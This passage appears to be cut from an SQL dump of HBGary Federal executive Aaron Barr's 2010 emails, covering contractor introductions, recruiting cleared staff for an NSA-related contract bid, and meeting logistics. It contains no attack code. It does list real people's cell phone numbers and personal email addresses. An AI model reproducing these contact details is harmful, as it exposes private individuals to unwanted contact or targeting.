Mulville\r\n \r\n \r\n \r\nMike\r\n \r\n\r\nFrom: Matt O&#39;Flynn [mailto:matt@hbgary.com] \r\nSent: Thursday, January 21, 2010 1:50 PMTo: Mulville, Michael E.; michael.p.courtny@saic.com; &#39;Aaron Barr&#39;\r\nSubject: Virtual Introduction\r\n \r\nMike &amp; Michael,\r\n \r\nGood seeing you yesterday. Please meet Aaron, who is the CEO of HBGary Federal , our subsidiary who is specializing in the services we discussed. See contact info below. Hopefully you will find one another’s capabilities very complementary.\r\n \r\nAaron Barr\r\n719-510-8478-Cell\r\n \r\nMike Mulville\r\n703-622-9121\r\n \r\nMichael Courtny              \r\n443-306-5683\r\n \r\nBest,\r\n \r\nMatt O&#39;Flynn\r\n954-559-6934\r\nwww.hbgary.com\r\n \r\n \r\n \r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n \r\n  \r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n',10227,'aaron_hbgary_com/10227.html'),(4005,'2010-03-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002105.M297250P3547Q4005.eml','\"Chris Hummel\" <chris_hummel@hotmail.com>','NANA','Chris,\r\n\r\nDo you know anything about the NANA contract?\r\n\r\nThis could be another opportunity to get you in with your clearances, its an NSA cyber threat and analysis center.  If SAIC wins I have an opportunity to staff.  Also I am having lunch with the person next week that had the few malware analysis positions open and will be taking your resume.\r\n\r\nHave a good weekend.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',16159,'aaron_hbgary_com/16159.html'),(4006,'2010-03-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002105.M492225P3547Q4006.eml','\"Brian Masterson\" <Brian.Masterson@ngc.com>','NANA','What do you know about NANA?\r\n\r\nThe award is coming out soon.  If SAIC wins I am pretty sure I have an in to staff positions.  Give me a call.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',13401,'aaron_hbgary_com/13401.html'),(4007,'2010-03-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002105.M674303P3547Q4007.eml','Dwayne.smith@ngc.com,michael.tillman@ngc.com','Long Time','Hi Guys,\r\n\r\nHope things are slowing down for you a bit.  You might have heard that I am not with Northrop any longer, now running a small sister company to HBGary, Inc.  focused on cyber intelligence and malware analysis/incident response.  I know how well connected you are up there, if you run across any folks that are in that space with tickets that are looking could you pass them my way?  Its usually a fist fight for qualified folks and I have a few opportunities coming up to fill spots so starting to look.\r\n\r\nBTW, I am going to be up there on Monday around 1pm to talk with Dave Luber from the ANO, I would like to say hi.\r\n\r\nHave a good weekend.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',2688,'aaron_hbgary_com/2688.html'),(4008,'2010-03-12','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297002105.M869196P3547Q4008.eml','\"Aaron Barr\" <aaron@hbgary.com>','google docs and Monday appt with David Luber at NSA','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n \r\n\r\nI heard the DARPA proposal got pushed 2 weeks.  That’s\r\ngood.  Also our meeting with David Luber is on Monday.\r\n\r\n \r\n\r\nHave a great weekend.\r\n\r\nRich\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2531,'aaron_hbgary_com/2531.html'),(4009,'2010-03-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002106.M104902P3547Q4009.eml','\"Rich Cummings\" <rich@hbgary.com>','Re: google docs and Monday appt with David Luber at NSA','Forgot to give u access I will tonight.  When and where do you want to\r\nmeet?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Mar 12, 2010, at 5:21 PM, Rich Cummings  wrote:\r\n\r\n> Hi Aaron,\r\n>\r\n>\r\n>\r\n> I heard the DARPA proposal got pushed 2 weeks.  That’s good.  Also o\r\n> ur meeting with David Luber is on Monday.\r\n>\r\n>\r\n>\r\n> Have a great weekend.\r\n>\r\n> Rich\r\n',13931,'aaron_hbgary_com/13931.html'),(4010,'2010-03-12','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297002106.M352530P3547Q4010.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: google docs and Monday appt with David Luber at NSA','The meeting is from 1-2 so we could meet in Columbia for lunch around\r\n11:30 and then head over there around 12:30 to go through security.   We\r\nsent our information over already didn\'t we?\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Friday, March 12, 2010 5:58 PM\r\nTo: Rich Cummings\r\nSubject: Re: google docs and Monday appt with David Luber at NSA\r\n\r\nForgot to give u access I will tonight.  When and where do you want to\r\nmeet?\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Mar 12, 2010, at 5:21 PM, Rich Cummings  wrote:\r\n\r\n> Hi Aaron,\r\n>\r\n>\r\n>\r\n> I heard the DARPA proposal got pushed 2 weeks.  That\'s good.  Also o\r\n> ur meeting with David Luber is on Monday.\r\n>\r\n>\r\n>\r\n> Have a great weekend.\r\n>\r\n> Rich\r\n',14248,'aaron_hbgary_com/14248.html'),(4011,'2010-03-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002106.M522967P3547Q4011.eml','\"Rich Cummings\" <rich@hbgary.com>','Re: google docs and Monday appt with David Luber at NSA','I dunno.  Where are we going?  Is there a poc?\r\n\r\n From my iPhone\r\n\r\nOn Mar 12, 2010, at 6:04 PM, Rich Cummings  wrote:\r\n\r\n> The meeting is from 1-2 so we could meet in Columbia for lunch around\r\n> 11:30 and then head over there around 12:30 to go through\r\n> security.   We\r\n> sent our information over already didn\'t we?\r\n>\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Friday, March 12, 2010 5:58 PM\r\n> To: Rich Cummings\r\n> Subject: Re: google docs and Monday appt with David Luber at NSA\r\n>\r\n> Forgot to give u access I will tonight.  When and where do you want to\r\n> meet?\r\n>\r\n> Aaron\r\n>\r\n> From my iPhone\r\n>\r\n> On Mar 12, 2010, at 5:21 PM, Rich Cummings  wrote:\r\n>\r\n>> Hi Aaron,\r\n>>\r\n>>\r\n>>\r\n>> I heard the DARPA proposal got pushed 2 weeks.  That\'s good.  Also o\r\n>> ur meeting with David Luber is on Monday.\r\n>>\r\n>>\r\n>>\r\n>> Have a great weekend.\r\n>>\r\n>> Rich\r\n',7731,'aaron_hbgary_com/7731.html'),(4012,'2010-03-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002106.M723608P3547Q4012.eml','\"Bob Slapnik\" <bob@hbgary.com>','Fwd: Virtual Introduction','From my iPhoneBegin forwarded message:From: &quot;Mulville, Michael E.&quot; &lt;MICHAEL.E.MULVILLE@saic.com&gt;\r\nDate: March 12, 2010 4:54:26 PM ESTTo: &lt;aaron@hbgary.com&gt;Subject: Re: Virtual Introduction\r\n\r\nAaron -Yes, we probably will. We should know in a few days. Latest report is that the announcement will come out on the 15th. We&#39;ll see.If this happens, I&#39;ll connect you with the PM.Have a good weekend.\r\nMike\r\n- Sent by BlackBerry\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Mulville, Michael E.\r\nSent: Fri Mar 12 16:51:48 2010Subject: Re: Virtual Introduction\r\n\r\nHey Mike,Just checking in.  Last time we talked we didn&#39;t talk about NANA.  If you win are you guys going to need any staffing help?Have a good weekend.\r\nAaronOn Jan 26, 2010, at 8:44 AM, Mulville, Michael E. wrote:\r\nAaron –\r\n \r\nThanks for the note back.  This week is a bit crazy,  how about next ?\r\n \r\n \r\n \r\nMike\r\n \r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, January 25, 2010 11:29 PMTo: Mulville, Michael E.Subject: Re: Virtual Introduction\r\n \r\nI actually didn&#39;t head out to DC3.  I will be out in Colorado Springs most of next week.  How does your week this week look.  I am pretty stuck tomorrow and Friday but can do something Wed/Thurs?\r\n Aaron\r\n  \r\nOn Jan 24, 2010, at 3:26 PM, Mulville, Michael E. wrote:\r\nMatt –\r\n \r\nThanks for the introduction.\r\n \r\nAaron, I’m meeting up with Bob Slapnik shortly to discuss needs, and direction.\r\n \r\nI assuming your headed out to the DC3 show in St. Louis, but might be a good idea to meet up, upon your return.\r\n \r\nThanks – Mike Mulville\r\n \r\n \r\n \r\nMike\r\n \r\n\r\nFrom: Matt O&#39;Flynn [mailto:matt@hbgary.com] \r\nSent: Thursday, January 21, 2010 1:50 PMTo: Mulville, Michael E.; michael.p.courtny@saic.com; &#39;Aaron Barr&#39;\r\nSubject: Virtual Introduction\r\n \r\nMike &amp; Michael,\r\n \r\nGood seeing you yesterday. Please meet Aaron, who is the CEO of HBGary Federal , our subsidiary who is specializing in the services we discussed. See contact info below. Hopefully you will find one another’s capabilities very complementary.\r\n \r\nAaron Barr\r\n719-510-8478-Cell\r\n \r\nMike Mulville\r\n703-622-9121\r\n \r\nMichael Courtny              \r\n443-306-5683\r\n \r\nBest,\r\n \r\nMatt O&#39;Flynn\r\n954-559-6934\r\nwww.hbgary.com\r\n \r\n \r\n \r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n \r\n  \r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n',7196,'aaron_hbgary_com/7196.html'),(4013,'2010-03-13','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297002128.M192572P3547Q4013.eml','\"Aaron Barr\" <aaron@hbgary.com>','Feasibility Study','-----BEGIN PGP MESSAGE-----\r\nCharset: ISO-8859-1\r\nVersion: GnuPG/MacGPG2 v2.0.14 (Darwin)\r\nComment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/\r\n\r\nhQIOA/53J6kaxJ3mEAf+LEqPqOaKEuPpmg3j6sZlZU5mDn5lU3pM1l9/iR6YXrl1\r\nS/DVUGSeavtYsJ8rzOgQgXp+nHFgJN2pg8eC1IiUkqQC8sRyEpeN7ZIc22gQppXp\r\nwYWXZQ7dbyzalsYuHi1f1/eNuP7qzj3MdloV7+9C/KcCOqJRSTjfnRLlqA8fVyhX\r\n4W+IPsQHwexH+BPvW9SaQyHGwioAdrZ0pWLbuj5E38WBO0mO/RSNh0dYOsoVOPwJ\r\nTeiQoQu8IjOLICL+CR4p/d2BE4digJI2R519DJmu6Avh08uAb7+nOpI78ir7mma6\r\nxABJxSlXW/6epB0qGDLMAeQuSNa59fdSlk11P+p4vAf/clQh1ZI2m0BAJ+vzapuc\r\nI0PCG55fBDmv5lG04IZDS+q0lK2fR1FjOGVimttnluicZ5pbn1bLq8cxyG8GkXbP\r\nJP6CgjgtPrFPvEb2LMIMTwchUYElpz8hdeM4owFM0CefUMHX/tkzv6+t+Wsm9aLp\r\ngEn98a18ZHg95xLS5fDNQCQC8flhEefvbRzG2mWs+KwCH86gGd0ZWrKwqHvqF1qz\r\niCXL4J4ZZRgtCURGdJx/5Fwcd0fGu03Wtldvc334/fm1dqUCJPBBB1U/lZ36YwDA\r\n/VYqWB1arwyHc7yC1LZvDxzcDNBkVttJmfXibFG+KlLwljsVRQkRZkqELn+v3wjr\r\ng4UBDAMTpS+d2cNCrgEH/AmWJuLa2y7ATAXWP8SEtjrEziaiLr+6RDNRweMxkvxf\r\nTOUxLnDlEF4+Pqsiv8Kxg8LrVelSF5fnkh/96RNYx9wU28yfOR81EA3NKFi2Nn2z\r\nJbqJBSR5FDYjhB8LL0459Cj6Ni5mJtKcYT3XBQu0sEPOfgSjetJG0MN70dJCkKqa\r\n4NS/UxNkkdAVRZoAvKlP2Vy/aLfvPk5NnnQ8CQ5Nj/1ZjuXqpysoSdPD1osUvfLG\r\nYyt00IlwDEUUPuY7ZdApVMTmz5jkIyrhFZ0Ldap8vTkoCcaz121xklw8Mjpsz4Q3\r\nydPBNnrQqm/wpcJw6XNo/ax9kyulZLMcP4GDz6ZeBLDSVgFVI0Sbk2MEg9ZOOh9L\r\nwY2NIvmqpzjGmAhvTDtp8PCBU/bO+0xaMq4EBgWIkxVWQ6UMuI7jTn5sQCSpYp6X\r\nD2UlMHooPLuMvWdWWp5cRg1ZDNlWfzpZ\r\n=B9l0\r\n-----END PGP MESSAGE-----\r\n',1315,'aaron_hbgary_com/1315.html'),(4014,'2010-03-13','\"Richard Lee\" <rmlee5@juno.com>','/aaron@hbgary.com/new/1297002129.M239115P3547Q4014.eml','\"Aaron Barr\" <aaron@hbgary.com>','Join my network on LinkedIn','\r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n  LinkedIn\r\n\r\n            Richard Lee has indicated you are a Friend:\r\n  \r\n    I\'d like to add you to my professional network on LinkedIn.\r\n\r\n- Richard Lee\r\n  \r\n  \r\n  &nbsp;\r\n\r\n    \r\n      \r\n          \r\n            Accept\r\n          \r\n           \r\n                View invitation from Richard Lee\r\n          \r\n      \r\n    \r\n\r\n   \r\n   &nbsp;\r\n   \r\n   DID YOU KNOW you can conduct a more credible and powerful reference check using LinkedIn? Enter the company name and years of employment or the prospective employee to find their colleagues that are also in your network. This provides you with a more balanced set of feedback to evaluate that new hire. \r\n  &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n\r\n',10330,'aaron_hbgary_com/10330.html'),(4015,'2010-03-13','\"Chris Hummel\" <chris_hummel@hotmail.com>','/aaron@hbgary.com/new/1297002129.M431685P3547Q4015.eml','aaron@hbgary.com','RE: NANA','\r\n\r\n\r\n\r\n\r\nAaron,\r\n&nbsp;\r\nYes, I\'ve had a few people contact me about the anticipated NANA award.&nbsp; I\'ve had a chance to review that statement of work and there are some very interesting positions, especially in the area of threat and malicious code analysis.&nbsp; I heard that an announcement may come out as early as Monday.\r\n&nbsp;\r\nLooking forward to see what happens this week.\r\n&nbsp;\r\nThanks,\r\nChris\r\n&nbsp;&gt; From: aaron@hbgary.com&gt; Subject: NANA&gt; Date: Fri, 12 Mar 2010 17:04:42 -0500&gt; To: chris_hummel@hotmail.com&gt; &gt; Chris,&gt; &gt; Do you know anything about the NANA contract?&gt; &gt; This could be another opportunity to get you in with your clearances, its an NSA cyber threat and analysis center. If SAIC wins I have an opportunity to staff. Also I am having lunch with the person next week that had the few malware analysis positions open and will be taking your resume.&gt; &gt; Have a good weekend.&gt; &gt; Aaron Barr&gt; CEO&gt; HBGary Federal Inc.&gt; &gt; &gt;  		 	   		  Hotmail: Trusted email with powerful SPAM protection. Sign up now.\r\n',5029,'aaron_hbgary_com/5029.html'),(4016,'2010-03-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002129.M676913P3547Q4016.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: NANA','From my iPhoneBegin forwarded message:From: Chris Hummel &lt;chris_hummel@hotmail.com&gt;\r\nDate: March 12, 2010 8:25:27 PM ESTTo: &lt;aaron@hbgary.com&gt;Subject: RE: NANA\r\n\r\nAaron,\r\n \r\nYes, I&#39;ve had a few people contact me about the anticipated NANA award.  I&#39;ve had a chance to review that statement of work and there are some very interesting positions, especially in the area of threat and malicious code analysis.  I heard that an announcement may come out as early as Monday.\r\n\r\n \r\nLooking forward to see what happens this week.\r\n \r\nThanks,\r\nChris\r\n &gt; From: aaron@hbgary.com&gt; Subject: NANA&gt; Date: Fri, 12 Mar 2010 17:04:42 -0500&gt; To: chris_hummel@hotmail.com\r\n&gt; &gt; Chris,&gt; &gt; Do you know anything about the NANA contract?&gt; &gt; This could be another opportunity to get you in with your clearances, its an NSA cyber threat and analysis center. If SAIC wins I have an opportunity to staff. Also I am having lunch with the person next week that had the few malware analysis positions open and will be taking your resume.\r\n&gt; &gt; Have a good weekend.&gt; &gt; Aaron Barr&gt; CEO&gt; HBGary Federal Inc.&gt; &gt; &gt;  		 	   		  Hotmail: Trusted email with powerful SPAM protection. Sign up now.\r\n\r\n',6136,'aaron_hbgary_com/6136.html'),(4017,'2010-03-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002129.M883656P3547Q4017.eml','\"David Lirette\" <rocky14er@gmail.com>','Hey there','almost birthday boy!\r\n\r\nI\'ll give you a call over the weekend.  Nothing new here other than lots of work and Sandy and I are about ready to kill each other...so nothing new.\r\n\r\nTed told me there is something weird happening with one of your contracts, something about the people and not being able to hire them or something.  Opportunisitc question, can I help?  If there is something around that can we hire them and sub to you?  That was the way Ted posed it to me so I am regurgitating it, does what I am saying make any sense? :)\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',3303,'aaron_hbgary_com/3303.html'),(4018,'2010-03-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002130.M115596P3547Q4018.eml','\"Ted Vera\" <ted@hbgary.com>','I think a good idea to get a req out','for some NSA positions this weekend.\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',7720,'aaron_hbgary_com/7720.html'),(4019,'2010-03-13','\"David Lirette\" <rocky14er@gmail.com>','/aaron@hbgary.com/new/1297002130.M392961P3547Q4019.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Hey there','hey,\r\nThe issue is that SMC in Los Angeles may follow the lead of the NRO in respect to the OCI test. \r\nIf you want to be a SETA contractor, (which TASC now does) you cannot be a developer for the same entity. ADDITIONALLY, you cannot be a subcontractor to to a developer for that entity. Since TASC wants to bid the SBIRS SE&I (SETA) contract for SMC (Billions) they may need to ditch my 10 slots working for NGES (a developer of SBIRS for SMC) TASC may shed all association with SBIRS development so my section basically disappears. \r\n\r\nDon\'t kill each other, I need a place to run when Vicki and I draw pistols and start firing! \r\n\r\nTalk to you soon.\r\n\r\n\r\n\r\nOn Mar 12, 2010, at 8:39 PM, Aaron Barr wrote:\r\n\r\n> almost birthday boy!\r\n> \r\n> I\'ll give you a call over the weekend.  Nothing new here other than lots of work and Sandy and I are about ready to kill each other...so nothing new.\r\n> \r\n> Ted told me there is something weird happening with one of your contracts, something about the people and not being able to hire them or something.  Opportunisitc question, can I help?  If there is something around that can we hire them and sub to you?  That was the way Ted posed it to me so I am regurgitating it, does what I am saying make any sense? :)\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\n',12713,'aaron_hbgary_com/12713.html'),(4020,'2010-03-13','\"Tillman, Michael K (IS)\" <michael.tillman@ngc.com>','/aaron@hbgary.com/new/1297002130.M641653P3547Q4020.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Long Time','\r\n\r\n\r\n\r\n\r\nRE: Long Time\r\n\r\n\r\n\r\n\r\nAaron - I actually know a few guys with the tickets you seek that are looking or will be looking for work here in the near future.&nbsp;\r\n\r\nI attend a daily 0830 mtg that Dave chairs so please stop by if you\'ve got time.\r\n\r\nSemper Fidelis,\r\n\r\n\r\nMichael K. Tillman\r\nManager, JTF-GNO J34 Assignees Section\r\nNorthrop Grumman Information Systems\r\n2710 Technology Drive Annapolis Junction, MD\r\nComm: 443-654-0689\r\nCell: 443-280-0040\r\nE-mail: michael.tillman@ngc.com\r\nAlt E-mail: badgemini77@yahoo.com\r\nBlackberry: Mrtill1@tmo.blackberry.net\r\n\r\n&quot;Talent is God-given. Be humble. Fame is man-given. Be grateful. Conceit is self-given. Be careful.&quot; -John Wooden\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Fri 3/12/2010 5:15 PM\r\nTo: Smith, Dwayne R (IS); Tillman, Michael K (IS)\r\nSubject: Long Time\r\n\r\nHi Guys,\r\n\r\nHope things are slowing down for you a bit.&nbsp; You might have heard that I am not with Northrop any longer, now running a small sister company to HBGary, Inc.&nbsp; focused on cyber intelligence and malware analysis/incident response.&nbsp; I know how well connected you are up there, if you run across any folks that are in that space with tickets that are looking could you pass them my way?&nbsp; Its usually a fist fight for qualified folks and I have a few opportunities coming up to fill spots so starting to look.\r\n\r\nBTW, I am going to be up there on Monday around 1pm to talk with Dave Luber from the ANO, I would like to say hi.\r\n\r\nHave a good weekend.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',530,'aaron_hbgary_com/530.html'),(4021,'2010-03-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002130.M901458P3547Q4021.eml','\"Tillman, Michael K (IS)\" <michael.tillman@ngc.com>','Re: Long Time','Great.  I would love to talk to them.  Hopefully see you Monday.AaronFrom my iPhoneOn Mar 13, 2010, at 1:34 AM, &quot;Tillman, Michael K (IS)&quot; &lt;michael.tillman@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nAaron - I actually know a few guys with the tickets you seek that are looking or will be looking for work here in the near future. \r\n\r\nI attend a daily 0830 mtg that Dave chairs so please stop by if you&#39;ve got time.\r\n\r\nSemper Fidelis,\r\n\r\n\r\nMichael K. Tillman\r\nManager, JTF-GNO J34 Assignees Section\r\nNorthrop Grumman Information Systems\r\n2710 Technology Drive Annapolis Junction, MD\r\nComm: 443-654-0689\r\nCell: 443-280-0040\r\nE-mail: michael.tillman@ngc.com\r\nAlt E-mail: badgemini77@yahoo.com\r\nBlackberry: Mrtill1@tmo.blackberry.net\r\n\r\n&quot;Talent is God-given. Be humble. Fame is man-given. Be grateful. Conceit is self-given. Be careful.&quot; -John Wooden\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Fri 3/12/2010 5:15 PM\r\nTo: Smith, Dwayne R (IS); Tillman, Michael K (IS)\r\nSubject: Long Time\r\n\r\nHi Guys,\r\n\r\nHope things are slowing down for you a bit.  You might have heard that I am not with Northrop any longer, now running a small sister company to HBGary, Inc.  focused on cyber intelligence and malware analysis/incident response.  I know how well connected you are up there, if you run across any folks that are in that space with tickets that are looking could you pass them my way?  Its usually a fist fight for qualified folks and I have a few opportunities coming up to fill spots so starting to look.\r\n\r\n\r\nBTW, I am going to be up there on Monday around 1pm to talk with Dave Luber from the ANO, I would like to say hi.\r\n\r\nHave a good weekend.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11996,'aaron_hbgary_com/11996.html'),(4022,'2010-03-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002131.M113171P3547Q4022.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Long Time','From my iPhoneBegin forwarded message:From: &quot;Tillman, Michael K (IS)&quot; &lt;michael.tillman@ngc.com&gt;\r\nDate: March 13, 2010 1:34:45 AM ESTTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;Subject: RE: Long Time\r\n\r\n\r\n\r\n\r\nAaron - I actually know a few guys with the tickets you seek that are looking or will be looking for work here in the near future. \r\n\r\nI attend a daily 0830 mtg that Dave chairs so please stop by if you&#39;ve got time.\r\n\r\nSemper Fidelis,\r\n\r\n\r\nMichael K. Tillman\r\nManager, JTF-GNO J34 Assignees Section\r\nNorthrop Grumman Information Systems\r\n2710 Technology Drive Annapolis Junction, MD\r\nComm: 443-654-0689\r\nCell: 443-280-0040\r\nE-mail: michael.tillman@ngc.com\r\nAlt E-mail: badgemini77@yahoo.com\r\nBlackberry: Mrtill1@tmo.blackberry.net\r\n\r\n&quot;Talent is God-given. Be humble. Fame is man-given. Be grateful. Conceit is self-given. Be careful.&quot; -John Wooden\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Fri 3/12/2010 5:15 PM\r\nTo: Smith, Dwayne R (IS); Tillman, Michael K (IS)\r\nSubject: Long Time\r\n\r\nHi Guys,\r\n\r\nHope things are slowing down for you a bit.  You might have heard that I am not with Northrop any longer, now running a small sister company to HBGary, Inc.  focused on cyber intelligence and malware analysis/incident response.  I know how well connected you are up there, if you run across any folks that are in that space with tickets that are looking could you pass them my way?  Its usually a fist fight for qualified folks and I have a few opportunities coming up to fill spots so starting to look.\r\n\r\n\r\nBTW, I am going to be up there on Monday around 1pm to talk with Dave Luber from the ANO, I would like to say hi.\r\n\r\nHave a good weekend.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1720,'aaron_hbgary_com/1720.html'),(4023,'2010-03-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002131.M343343P3547Q4023.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Long Time','I am sure I have mentioned mike before.  He and Dwayne are instrumental in get things ready to stand up cyber command.  I would love to be able to get either of them but regardless they are a good resource to help us recruit.  I developed a pretty good relationship with these two.  I think they will be enthused about our threat intelligence ideas.\r\nAaronFrom my iPhoneBegin forwarded message:From: &quot;Tillman, Michael K (IS)&quot; &lt;michael.tillman@ngc.com&gt;\r\nDate: March 13, 2010 1:34:45 AM ESTTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;Subject: RE: Long Time\r\n\r\n\r\n\r\n\r\nAaron - I actually know a few guys with the tickets you seek that are looking or will be looking for work here in the near future. \r\n\r\nI attend a daily 0830 mtg that Dave chairs so please stop by if you&#39;ve got time.\r\n\r\nSemper Fidelis,\r\n\r\n\r\nMichael K. Tillman\r\nManager, JTF-GNO J34 Assignees Section\r\nNorthrop Grumman Information Systems\r\n2710 Technology Drive Annapolis Junction, MD\r\nComm: 443-654-0689\r\nCell: 443-280-0040\r\nE-mail: michael.tillman@ngc.com\r\nAlt E-mail: badgemini77@yahoo.com\r\nBlackberry: Mrtill1@tmo.blackberry.net\r\n\r\n&quot;Talent is God-given. Be humble. Fame is man-given. Be grateful. Conceit is self-given. Be careful.&quot; -John Wooden\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Fri 3/12/2010 5:15 PM\r\nTo: Smith, Dwayne R (IS); Tillman, Michael K (IS)\r\nSubject: Long Time\r\n\r\nHi Guys,\r\n\r\nHope things are slowing down for you a bit.  You might have heard that I am not with Northrop any longer, now running a small sister company to HBGary, Inc.  focused on cyber intelligence and malware analysis/incident response.  I know how well connected you are up there, if you run across any folks that are in that space with tickets that are looking could you pass them my way?  Its usually a fist fight for qualified folks and I have a few opportunities coming up to fill spots so starting to look.\r\n\r\n\r\nBTW, I am going to be up there on Monday around 1pm to talk with Dave Luber from the ANO, I would like to say hi.\r\n\r\nHave a good weekend.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',11213,'aaron_hbgary_com/11213.html'),(4024,'2010-03-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002131.M549853P3547Q4024.eml','\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>,\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>','Re: TRICKLER Market Survey.docx','Question looking at the rfi.\r\n\r\n From my iPhone\r\n\r\nOn Mar 12, 2010, at 3:20 PM, \"Lovegrove, John (TASC)\"  wrote:\r\n\r\n> FYI, we plan to respond as prime\r\n>\r\n> \r\n',1397,'aaron_hbgary_com/1397.html'),(4025,'2010-03-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002131.M743752P3547Q4025.eml','\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>,\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>','Re: TRICKLER Market Survey.docx','Premature send.\r\n\r\nQuestion.  TASC used to own jtf-gno, jfcc-nw, 1at io.  Can you claim\r\npast performance for those even though they are now with Northrop?\r\n\r\nThose are big quals.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Mar 12, 2010, at 3:20 PM, \"Lovegrove, John (TASC)\"  wrote:\r\n\r\n> FYI, we plan to respond as prime\r\n>\r\n> \r\n',2866,'aaron_hbgary_com/2866.html'),(4026,'2010-03-13','\"Pisani, Albert A.\" <albert.pisani@TASC.COM>','/aaron@hbgary.com/new/1297002131.M970750P3547Q4026.eml','aaron@hbgary.com,\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>','Re: TRICKLER Market Survey.docx','\r\n\r\n\r\n\r\n\r\nRe: TRICKLER Market Survey.docx\r\n\r\n\r\n\r\n\r\nAll;\r\nGood question\r\nAs long as we have some of the skills here we should. BTW, I just hired Paul Thrasher back from NG up at Cyber Command. He is currently working via one of these vehicles&nbsp;\r\n\r\nAl\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Lovegrove, John (TASC)\r\nCc: Pisani, Albert A.\r\nSent: Sat Mar 13 07:44:05 2010\r\nSubject: Re: TRICKLER Market Survey.docx\r\n\r\nPremature send.\r\n\r\nQuestion.&nbsp; TASC used to own jtf-gno, jfcc-nw, 1at io.&nbsp; Can you claim\r\npast performance for those even though they are now with Northrop?\r\n\r\nThose are big quals.\r\n\r\nAaron\r\n\r\n&nbsp;From my iPhone\r\n\r\nOn Mar 12, 2010, at 3:20 PM, &quot;Lovegrove, John (TASC)&quot; 